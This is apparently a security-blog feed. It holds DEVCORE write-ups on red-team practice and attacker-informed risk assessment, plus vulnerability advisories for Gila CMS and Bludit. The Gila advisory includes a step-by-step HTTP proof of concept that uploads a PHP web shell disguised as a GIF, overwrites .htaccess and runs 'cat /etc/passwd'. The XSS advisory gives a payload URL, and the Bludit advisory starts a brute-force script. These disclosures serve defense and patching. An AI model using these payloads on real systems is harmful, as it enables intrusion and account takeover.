這邊特別想要分享研究組的成果,因為我們會去開採一些基礎設施的 0-day,在負責任的揭露後,會將 1-day 用於演練中,這種模式對國外紅隊來說算是相當少見。為了能幫助到紅隊,研究組平時的研究方向,通常都是找企業外網可以碰到的通用服務,例如郵件伺服器、Jenkins、SSL VPN。我們找的弱點都是以不用認證、可取得伺服器控制權為優先,目前已公開的有:EximJenkinsPalo Alto GlobalProtectFortiGatePulse Secure。這些成果在演練當中都有非常非常高的戰略價值,甚至可以說掌控了這些伺服器幾乎就能間接控制企業的大半。

而這些研究成果,也意外的被國外所注意到:

  • PortSwigger 連續兩年年度十大網站攻擊技術評選冠軍 (2017, 2018)
  • 連續三年 DEFCON & Black Hat USA 發表 (2017, 2018, 2019)
  • 台灣第一個拿到 PWNIE AWARD 獎項:Pwnie for Best Server-Side Bug (年度最佳伺服器漏洞) (2018 入圍, 2019 得獎)

目標上萬台,如何發揮紅「隊」效益?

前面靠了偵查、特攻、研究組的成果取得了進入點。下一個問題,是在我們過去的經驗中,有過多次演練的範圍是上萬台電腦,我們要怎樣做才能發揮團隊作戰的效益呢?會有這個問題是因為數量級,如果範圍只有十個網站很容易找目標,但是當網站變多的時候,就很難標註討論我們要攻擊的目標。或是當大家要同步進度的時候,每個人的進度都很多,很難有個地方分享伺服器資訊,讓其他人能接續任務。

過去我們使用類似 Trello 的系統記錄每台伺服器的狀況,在範圍較小的時候很方便好用,但是當資料量一大就會顯得很難操作。

因此,我們自行開發了系統去解決相關問題。分享一些我們設計系統的必要原則供大家參考:

  • 伺服器列表可標籤、排序、全文搜尋,火力集中的伺服器必須要自動在顯眼處,省去額外搜尋時間。
  • 要可自動建立主機關係圖,方便團隊討論戰況。
  • 儲存結構化資訊而非過去的純字串,例如這台機器開的服務資訊、拿 shell 的方式、已滲透的帳號密碼。方便快速釐清目前進度以及事後分析。
  • 建立 shell 主控台,方便成員一鍵取得 shell 操作。

另外還有一個問題,紅隊成員這麼多,戰場又分散,如果想要把我們做過的測試過程記錄下來,不是會很複雜嗎?所以我們另外寫了 plugin 記錄 web 的攻擊流量、以及記錄我們在 shell 下過的指令和伺服器回傳的結果,這些記錄甚至比客戶的 access_log 和 bash_history 還詳細。此外,針對每個目標伺服器,我們也會特別記錄在上面所做過的重要行為,例如:改了什麼設定,新增或刪除了什麼檔案,方便我們還有客戶追蹤。要做這樣的客製化記錄其實是很繁瑣的,對那些習慣於自動化解決事情的駭客更是,但我們就是堅持做好這樣的紀錄,即使客戶沒有要求,我們還是會詳實記錄每個步驟,以備不時之需。

企業有防禦設備或機制?

解決了突破點和多人合作的問題,接下來我們面臨到第三個問題,企業有防護措施!在研討會中我舉了幾個較客製的真實防禦案例,說明我們除了常見的防禦設備外也擁有很多跟防禦機制交手的經驗。我們會研究每種防禦的特性加以繞過或利用,甚至會寫工具去躲避偵測,最近比較經典的是團隊做了在 Windows 伺服器上的 Web shell,它可以做到 WAF 抓不到,防毒軟體抓不到,也不會有 eventlog 記錄,利用這個工具可以無聲無息收集伺服器上我們需要的資料。當然,我們不是無敵的,一些較底層的偵測機制還是會無法繞過。這邊我直接講我們進化到目前的準則:在面對伺服器防禦機制,我們能隱匿的,一定做到絕對的隱匿,無法躲的,就把流程最佳化,縮短做事情的時間,例如控制在五分鐘內提權拿到關鍵資料,就算被別人抓到也沒關係,因為該拿的資料也拿到了。

紅隊成員應具備的特質

要能夠在紅隊演練中有突出成果,我覺得成員特質是滿關鍵的一個點。以下整理了幾個我從我們紅隊夥伴觀察到的特質跟大家分享,如果將來有打算從事紅隊工作,或是企業已經打算開始成立內部紅隊,這些特質可能可以作為一些參考。

想像力

第一個是想像力,為什麼會提這個特質,因為現在資安意識慢慢強化,要靠一招打天下是不太有機會的,尤其是紅隊演練這麼有變化的工作。要有成果一定要巧妙的組合利用或是繞過才有機會。

直接舉個例子,我們在公布 Pulse Secure VPN 的研究細節後,有人在 twitter 上表示那個關鍵用來 RCE 的 argument injection 點之前他有找到,只是無法利用所以官方也沒有修。確實我們找到的地方相同,不過我們靠想像力找到了一個可利用參數並搭配 Perl 的特性串出了 RCE。 另一個例子是 Jenkins 研究裡面的一環,我們在繞過身分認證之後發現有一個功能是在檢查使用者輸入的程式語法正不正確。伺服器怎樣去判斷語法正不正確?最簡單的方法就是直接去編譯看看,可以編譯成功就代表語法正確。所以我們研究了可以在『編譯階段』命令執行的方法,讓伺服器在嘗試判斷語法是否正確的同時執行我們的指令。這個手法過去沒有人提過,算是運用想像力的一個經典案例。

關於想像力,其實還有一個隱藏的前提:基礎功要夠。我一直認為想像力是知識的排列組合,例如剛剛的兩個例子,如果不知道 Perl 語法特性和 Meta-Programming 的知識,再怎麼天馬行空都是不可能成功 RCE 的。有基礎功再加上勇於聯想和嘗試,絕對是一個紅隊大將的必備特質。至於基礎功需要到什麼程度,對我們來說,講到一個漏洞,心中就會同時跳出一個樹狀圖:出現成因是什麼?相關的案例、漏洞、繞過方式都會啵啵啵跳出來,能做到這樣我想就已經是有所小成了。

追新技術

會追新技術這件事情,似乎是資安圈的標配,我們的世界不只有 OWASP TOP 10。更現實的說法是,如果只靠這麼一點知識,在紅隊演練能發揮的效果其實並不大。分享一下我看到成員們的樣子,對於他們來說,看新技術是每天的習慣,如果有資安研討會投影片釋出,會追。新技術裡有興趣的,會動手玩,甚至寫成工具,我們很多內部工具都是這樣默默補強的。還有一點,看新技術最終目的就是要活用,拿新技術解決舊問題,往往有機會發現一些突破方式。例如我們在今年八月 BlackHat 研討會看到了 HTTP Desync 的攻擊方式,回國之後馬上就把這個知識用在當時的專案上,讓我們多了一些攻擊面向!(這個手法挺有趣的,在我們污染伺服器後,隨機一個人瀏覽客戶網頁就會執行我們的 JavaScript,不需要什麼特殊條件,有興趣可以研究一下:p )

相信…以及堅持

最後一點,我想分享的是:在研究或者測試的過程當中,有時候會花費很多時間卻沒有成果,但是如果你評估是有機會,那就相信自己,花時間做下去吧! 我們有一個花費一個月的例子,是之前破解 IDA Pro 偽隨機數的研究,這個事件意外在 binary 圈很有名,甚至還有人寫成事件懶人包。這個研究是在探討如果我們沒有安裝密碼,有機會安裝 IDA PRO 嗎?結果最後我們想辦法逆推出了 IDA 密碼產生器的算法,知道偽隨機數使用了哪些字元,和它的正確排序。這件事情的難度已經不只在技術上,而在於要猜出偽隨機數使用的字元集順序,還要同時猜出對方使用的演算法(至少有88種)。而且我們每驗證一種排列組合,就會花半天時間和 100GB 的空間,累積成本滿高的。但我們根據經驗相信這是有機會成功的,並且投注資源堅持下去,最後有了很不錯的成果。

這裡不是在鼓勵一意孤行,而是一種心理素質:是在面臨卡關的時候,有足夠的判斷力,方向錯誤能果斷放棄,如果方向正確要有堅持下去的勇氣。

資安防護趨勢與紅隊的下一步

文章的最後一部分要談的是紅隊演練的未來,也是這篇文章的重點,未來,我們希望可以解決什麼問題?

做為紅隊演練的領導廠商,從 2017 年演練到現在我們進入台灣企業內網的成功率是 100%。我們在超過六成的演練案中拿到 AD 管理權限,這還不含那些不是用 AD 來管理的企業。我們發現進入內網後,通常不會有什麼阻礙,就好像變成內部員工,打了聲招呼就可以進機房。想要提醒大家的是:對頂尖攻擊團隊而言,進入企業內網的難度並不高。如果碰上頂尖的駭客,或是一個 0day,企業準備好了嗎?這就是現階段我們所發現的問題!

在說到抵禦攻擊通常會有三個面向,分別是「預防」、「偵測」和「回應」。一般而言企業在「預防」這部份做的比較完善,對於已知的弱點都有比較高的掌握度。今天普遍的問題在「偵測」和「回應」上,企業能不能發現有人在對你進行攻擊?或是知道被攻擊後有沒有能力即時回應並且根絕源頭?這兩件事情做得相對不好的原因並不是企業沒有投入資源在上面,而是對於企業來說太難驗證,很難有個標準去確定目前的機制有沒有效或是買了設備有沒有作用,就算有藍隊通常也沒有建立完善的應對 SOP,畢竟駭客入侵不會是天天發生的事情。

所以,我們希望企業能從紅隊演練中,訓練對攻擊事件的偵測和反應能力。或是說,紅隊演練的本質就是在真實的演練,透過攻防幫助企業了解自己的弱項。過去台灣的紅隊服務都會強調在找出整個企業的弱點,找出漏洞固然重要,但碰到像我們一樣很常找到 0-day 的組織,有偵測和回應能力才是最後能救你一命的硬技能。換個角度來看,目前世界上最完整的攻擊戰略和技術手法列表是 MITRE ATT&CK Framework,一個對企業有傷害的攻擊行動通常會是很多個攻擊手法所組成的攻擊鏈,而在這個 Framework 中,找到起始弱點這件事情僅佔了整個攻擊鏈不到一成,企業如果能夠投注在其他九成手法的偵測能力上並阻斷其中任一環節,就有機會讓整個攻擊行動失敗而保護到資產。

要說的是,我們紅隊演練除了找出企業漏洞能力頂尖之外,也累積了很豐富的內網滲透經驗及技巧,我們很樂意透過演練協助企業加強真實的偵測和回應能力。漸漸的,未來紅隊會慢慢著重在和藍隊的攻防演練。會強調擬定戰略,讓企業了解自己對哪些攻擊的防禦能力比較弱,進而去改善。未來的紅隊也更需要強調與防禦機制交手的經驗,了解防禦的極限,才有辦法找到設備設定不全或是涵蓋率不足的盲點。

最後我們也有些規劃建議給對資安防禦比較成熟的企業如下,逐步落實可以將資安體質提昇一個層次。(至少從我們的經驗來看,有這些概念的企業都是特別難攻擊達成目標的)

  • 如果外網安全已投資多年,開始思考「如果駭客已經在內網」的防禦策略
  • 盤點出最不可以被洩漏的重要資料,從這些地方開始奉行 Zero Trust 概念
  • 企業內部需要有專職資安人員編制(藍隊)
  • 透過與有經驗的紅隊合作,全盤檢視防禦盲點

後記

研討會內容到這邊就結束了。寫在最後的最後,是充滿著感謝。其實無論滲透測試還是紅隊演練,在一開始都不是人人可以接受的,而測試的價值也不是我們說了算。一路走來,漸漸漸漸感受到開始有人相信我們,從早期比較多測試時與工程師和網管人員的對立,到近期越來越多 open mind、就是想找出問題的客戶,是滿大的對比。非常感謝他們的信任,也因為這樣的互信,我們得以節省時間完成更棒的產出。滿樂見台灣資訊產業是這樣正向面對問題,漏洞存在就是存在,不會因為視而不見而真的不見,意識到有問題解決了就好。所以我在演講最後留下這樣一句:『紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下』,希望越來越多人能正面對待問題,同時也傳遞我們想要做到的價值。

2019 DEVCORE CONF,謝謝過去合作的朋友們參與讓 DEVCORE 紅隊得以進化,希望下一步也能有你,我們明年見 :)

Gila CMS Upload Filter Bypass and RCE

13 October 2019 at 00:00

Versions prior to and including 1.11.4 of Gila CMS are vulnerable to remote code execution by users that are permitted to upload media files. It is possible to bypass the media asset upload restrictions that are in place to prevent arbitrary PHP being executed on the server by abusing a combination of two issues.

The first is the support for uploading animated GIFs. By submitting a GIF that contains the following content we can place a GIF file that contains [currently unexecutable] PHP code in a GIF file on the server (in this case test.gif):

GIF89a; <?=`$_GET[1]`?>

After uploading this, the file can now be clicked and the move function can be used to move this into another directory within the application directory with a PHP extension (in this case, it is moved to tmp/media_thumb/shell.php):

As can be seen in the below screenshot, this is now stored on the server with a valid extension:

At this point, the PHP file cannot be executed as the htaccess file found in tmp/.htaccess contains the following configuration:

<Files *.php>
deny from all
</Files>

This prevents any PHP files under tmp/ being accessed. However, the same upload vulnerability can be abused to overwrite the htaccess file. To do this, one uploads a GIF file again but with the content:

# GIF89a;

This creates a GIF file on the server, that starts with a valid comment character, which prevents the server running into an error when parsing it during subsequent requests. The same rename bug can then be used to move this file to tmp/.htaccess:

After doing this, the PHP file can be accessed from the web browser, and remote code execution is gained as can be seen in the below screenshot in which cat /etc/passwd is executed:

Versions Affected

<= 1.11.4

Solution

Update to a version later than 1.11.4 or apply the patch found at https://github.com/GilaCMS/gila/pull/49

CVSS v3 Vector

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L/E:P/RL:T/RC:R

Disclosure Timeline

  • 2019-10-12: Vulnerability found
  • 2019-10-13: Patch created and pull request sent to project
  • 2019-10-13: CVE requested
  • 2019-10-13: CVE-2019-17536 assigned

Proof of Concept

Step 1: Store blank htaccess stager

POST /gila/admin/media_upload HTTP/1.1
Host: 192.168.194.146
Content-Length: 510
Origin: http://192.168.194.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD
Accept: */*
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="uploadfiles"; filename="test.gif"
Content-Type: image/gif

# GIF89a;

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="formToken"

1=^4podpw4k&8%i
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="path"

assets
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundaryOYDZotidj55MOMPD--

Step 2: Overwrite tmp/.htaccess

POST /gila/fm/move HTTP/1.1
Host: 192.168.194.146
Content-Length: 80
Accept: */*
Origin: http://192.168.194.146
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

newpath=tmp%2F.htaccess&path=assets%2Ftest.gif&formToken=1%3D%5E4podpw4k%268%25i

Step 3: Upload PHP shell stager

POST /gila/admin/media_upload HTTP/1.1
Host: 192.168.194.146
Content-Length: 524
Origin: http://192.168.194.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD
Accept: */*
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="uploadfiles"; filename="test.gif"
Content-Type: image/gif

GIF89a; <?=`$_GET[1]`?>

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="formToken"

1=^4podpw4k&8%i
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="path"

assets
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundaryOYDZotidj55MOMPD--

Step 4: Move PHP shell into tmp/media_thumb/shell.php

POST /gila/fm/move HTTP/1.1
Host: 192.168.194.146
Content-Length: 94
Accept: */*
Origin: http://192.168.194.146
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

newpath=tmp%2Fmedia_thumb%2Fshell.php&path=assets%2Ftest.gif&formToken=1%3D%5E4podpw4k%268%25i

Step 5: Execute shell command on remote host

GET /gila/tmp/media_thumb/shell.php?1=cat%20/etc/passwd HTTP/1.1
Host: 192.168.194.146
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

Gila CMS Reflected XSS

12 October 2019 at 00:00

Versions prior to and including 1.11.4 of Gila CMS are vulnerable to reflected cross-site scripting. On line 29 and 30 of the blog-list.php view found in both the gila-blog and gila-mag themes, the value of the user provided search criteria is printed back to the response without any sanitisation. This can result in cross-site scripting as can be seen in the below screenshot:

Additionally, as HTTP only cookies are not in use, this can lead to a compromise of an admin session and lead to a takeover of the CMS.

Proof of Concept

http://gila.host/?search=xss%22+onfocus%3D%22console.log%28document.domain%29%22+autofocus%3D%22true

Versions Affected

<= 1.11.4

Solution

Update to a version later than 1.11.4 or apply the patch found at https://github.com/GilaCMS/gila/pull/48

CVSS v3 Vector

AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N/E:F/RL:T/RC:R

Disclosure Timeline

  • 2019-10-12: Vulnerability found, pull request opened with fix
  • 2019-10-12: CVE requested
  • 2019-10-13: CVE-2019-17535 assigned

以攻擊者的角度制定防禦策略

8 October 2019 at 16:00

前言

這篇文章源自於公司今年第一次試辦的研討會 DEVCORE CONFERENCE 2019,我們決定另外寫成 blog 分享出來,讓無法參加的朋友也可以從不同角度重新思考防禦策略。

會想在純技術導向的研討會中加入策略面的議題,其實跟今年研討會的主軸「從策略擬定控制,從控制反映意識」有關。如果企業缺乏長遠正確的資安策略,除了投入的資源無法達到企業預期的效益、一線資安人員疲於奔命外,管理階層在資訊不對稱的情況下認為投入的資源已經足夠安全,最終形成惡性循環,只能在每次資安事故後跟著時下流行選擇最夯資安的產品。

理想中的防禦策略

而最廣為人知的防禦策略可能是縱深防禦,以不同類型的控制措施 (設備、制度、服務) 減少敵人入侵的可能性、儘量減少單一控制措施失效造成的風險。然而,這個概念有幾個需要思考的重點

  • 防護邊界遠大於企業的想像:導致無法掌握企業可能的入侵點。
  • 對資安設備認知錯誤:這讓敵人可以繞過資安設備,或是設備沒有發揮企業預期的效用。
  • 管理程序不夠落實:導致控制措施產生新的漏洞,譬如預設密碼沒有更改,導致 VPN 或網路設備可以直接被存取。
  • 忽視重要資產相關性:只將防禦資源投注在重要資產本身,而輕忽與其相連的資產。

這一連串的疏忽,可能成為攻擊者入侵的路徑,就是所謂的瑞士起司模型 (Swiss Cheese Model),因此企業期望透過風險評鑑 (Risk Assessment) 來盤點出可能的疏失,並且在權衡資源下,確保將重心放在高風險需要優先處理的項目。

但我們想聊聊這個工具在實務上有它難以完善之處,以及從攻擊者的角度是怎樣看待這個擬訂防禦策略核心工具,我們會針對一下議題依序說明

  • 真實風險其實複雜的難以評估
  • 現行風險評鑑方式可能的偏差
  • 從攻擊者的角度改善風險評鑑
  • 挑選適合的方法改善風險評鑑

真實的風險其實複雜的難以評鑑

在這裡我們引述 ITGovernance 對於風險評鑑的定義:

Risk Assessment – the process of identifying, analyzing and evaluating risk – is the only way to ensure that the cyber security controls you choose are appropriate to the risks your organization faces.

風險評鑑的精髓在於後半段的確保所選擇的控制措施是否適切於企業真正面臨的風險,但多數的企業只完成前半段識別、分析及評估風險,導致風險評鑑的成效無法完全發揮;而要達到風險評鑑的精髓,得先了解真實的風險的組成的要素

真實風險 = { 威脅來源、意圖、威脅、弱點、機率、相依性、資產價值、控制措施 }
  • 威脅來源(Threat Agent):造成威脅或使用弱點的來源個體,例如:組織型犯罪、駭客組織、國家資助犯罪、競爭對手、駭客、內部員工或天災等。
  • 意圖(Intent):威脅來源的想達到的目的,例如:取得個人資料、盜取商業機密、破壞企業/個人形象、造成財物損失等。
  • 威脅(Threat):達成意圖的方式,例如:惡意程式、社交工程、DDoS、利用系統漏洞等。
  • 弱點(Vulnerability):指資產能被威脅利用的弱點,例如:漏洞未更新、人員疏忽、組態設定不當、網路區隔配置錯誤等。
  • 機率(Probability):指弱點的易用度或可能發生的機率,例如:CVSS 3.0分數、過去對於某個弱點發生頻率的統計等。
  • 相依性(Correlation):資產彼此間的關聯,例如:網路拓樸、虛擬化的關係、集中派版系統、防毒中控主機等。
  • 資產價值(Value):企業認定該資產在 C、I、A 及法律衝擊下,所具有的價值,例如:核心系統及資料、一般操作資料、實體設備等。
  • 控制措施(Countermeasure):用來降低企業面臨風險的措施,例如:資安設備、管理制度、教育訓練等。

然而,多數企業在評估企業風險時,為求方便,會將風險評鑑的參數簡化成 {弱點、機率、資產價值},忽略了與敵人相關的參數 {威脅來源、意圖、威脅、戰略價值};接下來的兩個例子將說明忽略後造成風險評鑑的偏差,包含了資產價值的輕忽輕忽漏洞利用的可能性

現實風險評鑑可能的偏差

敵人在意的是戰略價值而不僅是資產價值

透過風險評鑑可以識別出資產可能面臨的風險,並且作為預算或資源投入優先順序的參考,一般可以分為 3 個優先等級:

  1. 優先處理「高衝擊、高機率」 (項次 1、項次 2) 的風險:通常是超出企業可接受風險的威脅,藉由控制措施將風險下降到可接受的程度,這部分通常是企業資源優先或持續投入的重點。
  2. 次之是「高衝擊、低機率 」(項次 3、項次 4)的風險:此等級是屬於需要持續關注避免升高的風險,如果企業預算仍有餘裕,應該投入的第二個等級。
  3. 最後是「低衝擊、低機率 」(項次 5、項次 6)的風險:看起來對企業不會有立即危害,一般不需特別關注或投入資源。
項次 資產名稱 價值 威脅 弱點 衝擊 機率 風險
1 交易資料 3 蓄意破壞 建築物管制不足 3 3 27
2 用戶個資 3 勒贖軟體加密 無法上 patch 3 3 27
3 轉帳系統 3 軟體失效 遭到 DDoS 攻擊 3 2 18
4 核心系統 3 軟體失效 維護服務時間過長 3 1 9
5 版本更新系統 3 未經授權存取 橫向移動 2 1 6
6 內部差勤系統 1 系統入侵 無法上 patch 1 2 2

然而,對敵人而言,選擇欲攻下的灘頭堡時,看重的是資產的戰略價值,而與資產本身的價值沒有必然的關係,如上表項次 6 的內部差勤系統如果是能串接到敵人主要的標的,對他來說就是一個必定會設法取得控制權的資產,而這時可以發現經由簡化版的風險評鑑並不容易呈現這個資產所面臨的風險。

低估弱點可利用機率

防守方在使用分險評鑑時,另一個問題是無法準確的估計弱點的可利用機率,雖然市面上已經有許多弱點管理軟體可以協助,但面對真實攻擊時,敵人不會只利用已知的漏洞或是 OWASP TOP10,甚至自行研發 0-day。因此,當企業已經進行一定程度的防護措施後,如果不曾經歷資安事故或缺乏正確的認知,往往認為應該不會有這麼厲害的駭客可以突破既有的防護措施,但從歷來的資安事故及我們服務的經驗告訴我們,其實電影裡面演的都是真的!!

從攻擊者的角度改善風險評鑑

很多人以為攻擊者的角度指的是漏洞挖掘,其實並不全然。攻擊者對於想竊取的資產,也是經過縝密的規劃及反~覆~觀~察~,他們一樣有策略、技法跟工具。而 MITRE ATT&CK 就是一個對於已知攻擊策略及技巧具備完整定義及收集的框架,它可以用來協助建立威脅情資 (Threat Intelligence)、改善防守方的偵測及分析、強化模擬敵人及紅隊演練等,相關的使用方式都在其官網上可以找到,細節我們不在這邊介紹。

我們可以將已經發生的資安事故 (Incident) 或紅隊演練對應到 ATT&CK Enterprise Framework 中,並且評估目前所建置的控制措施是否可以減緩、阻擋或偵測這些技巧。以下圖為例,淺綠色方塊是紅隊演練所採用的技巧、紅色方塊則是資安事故使用的技巧,企業可以同時比對多個資安事故或是紅隊演練的結果,找出交集的淺黃色區塊,即是企業可以優先強化的控制措施或是預算應該投入之處。

這邊有個需要特別注意的地方,ATT&CK Enterprise Framework 作為一個驗證防守方控制措施的有效性是一個非常好的框架,然而不建議利用這個框架的特定技巧作為限制紅隊演練的情境,要記得「當使用 ATT&CK 時要注意有其偏差,這可能會將已知的攻擊行為優先於未知的攻擊行為」,正如同紅隊演練的精神,是透過無所不用其極的方式找到可以成功的入侵方式,因此我們會建議給予紅隊演練團隊最自由的發揮空間,才能真正找出企業可能的盲點。

Remember any ATT&CK-mapped data has biases:You’re prioritizing known adversary behavior over the unknown. - Katie Nickels, Threat Intelligence Lead @ The MITRE Corporation

挑選適合的方法改善防禦策略

那麼在我們了解敵人會使用的策略、技巧之後,企業要如何挑選改善防禦策略的方法?理想上,我們建議如果預算許可,這類型的企業至少應該執行一次高強度的紅隊演練,來全面性的盤點企業面臨的威脅,但現實上並非每個企業都有足夠的預算。因此,在不同的條件下,可以使用不同的方法來改善防禦策略,我們建議可以從以下幾個因素進行評估:

  • 時間:執行這個方法所需要的時間。
  • 成本:利用這個方法需要付出的成本 (包含金錢、名聲)。
  • 真實性:所採用的方法是否能真實反映現實的威脅。
  • 範圍:所採用的方法能涵蓋範圍是否足以代表企業整體狀況。

這邊我們以風險評鑑、弱點掃描、滲透測試、模擬攻擊、紅隊演練及資安事件作為改善防禦策略的方法,而分別就上述六個項目給予相對的分數,並且依照真實性、範圍、成本及時間作為排序的優先序(順序依企業的狀況有所不同)。而我們會這樣排序的原因是:一個好的方法應該要與真實世界的攻擊相仿而且在整個過程上足以發現企業整體資安的狀況,最後才是考慮所花費的成本及時間。

方法 真實性 範圍 成本 時間
資安事件 5 4 5 5
紅隊演練 5 4 4 5
模擬攻擊 3 5 2 3
滲透測試 3 3 3 3
弱點掃描 2 5 1 2
風險評鑑 1 4 1 1

到這裡,除了資安事件外,大致可以決定要用來協助評估防禦策略所應該選擇的方法。更重要的是在使用這些方法後,要將結果反饋回風險評鑑中,因為相較於其他方法風險評鑑是一個最簡單且廣泛的方法,這有助於企業持續將資源投注在重大的風險上。

案例

最後,我們以一個紅隊演練案例中所發現控制措施的疏漏,來改善企業的風險評鑑方式。同時,我們將入侵的成果對應至 ISO27001:2013 的本文要求及控制項目,這些項目可以視為以攻擊者的角度稽核企業的管理制度,更能反映制度的落實情形。

項目 發現 本文/附錄
1 核心系統盤點未完整 本文 4.3 決定 ISMS 範圍
2 監控範圍不足 本文 4.2 關注方之需要與期望
3 不同系統使用相同帳號密碼 附錄 A.9.4.3 通行碼管理系統
4 管理帳號存在密碼規則 附錄 A.9.4.3 通行碼管理系統
5 AD 重大漏洞未修補 附錄 A.12.6.1 技術脆弱性管理
6 未限制來源 IP 附錄 A.9.4.1 系統存取限制
7 次要網站防護不足 附錄 A.14.1.1 資訊安全要求事項分析及規格
8 VPN 網段存取內部系統 附錄 A.13.1.3 網路區隔

另外,從演練的結果可以發現下表項次 1 及項次 2 的機率都被證實會發生且位於入侵核心資產的路徑上,因此衝擊及機率均應該由原本的 2 提升為 3,這導致項次 1 的風險值超過了企業原本設定的可接受風險 (27);另外,儘管在演練結果中清楚的知道項次 2 的內部差勤系統是必然可以成功入侵且間接控制核心資產的系統,其風險值仍遠低於企業會進行處理的風險,這正是我們前面所提到低估戰略價值的問題,因此我們會建議,在紅隊演練路徑上可以獲得核心資產的風險項目,都應該視為不可接受風險來進行處理

項次 資產名稱 價值 威脅 弱點 衝擊 機率 風險
1 版本更新系統 3 未經授權存取 橫向移動 3 3 27
2 內部差勤系統 1 系統入侵 無法上 patch 3 3 9

最後,引用 Shaolin 在研討會上的結語

紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下。

希望各位都能找到可以持續改善防禦策略的方法,讓企業的環境更加安全。

Bludit Brute Force Mitigation Bypass

5 October 2019 at 00:00

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

public function getUserIp()
{
  if (getenv('HTTP_X_FORWARDED_FOR')) {
    $ip = getenv('HTTP_X_FORWARDED_FOR');
  } elseif (getenv('HTTP_CLIENT_IP')) {
    $ip = getenv('HTTP_CLIENT_IP');
  } else {
    $ip = getenv('REMOTE_ADDR');
  }
  return $ip;
}

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

{
    "minutesBlocked": 5,
    "numberFailuresAllowed": 10,
    "blackList": {
        "192.168.194.1": {
            "lastFailure": 1570286876,
            "numberFailures": 1
        },
        "10.10.10.10": {
            "lastFailure": 1570286993,
            "numberFailures": 1
        },
        "FakeIp": {
            "lastFailure": 1570287052,
            "numberFailures": 1
        }
    }
}

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Demonstration

Versions Affected

<= 3.9.2

Solution

Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

CVSS v3 Vector

AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-10-05: Vulnerability found, pull request opened with fix
  • 2019-10-05: CVE requested
  • 2019-10-05: Patch merged into master branch
  • 2019-10-06: CVE-2019-17240 assigned to issue

Proof of Concept

#!/usr/bin/env python3
import re
import requests

host = 'http://192.168.194.146/bludit'
login_url = host + '/admin/login'
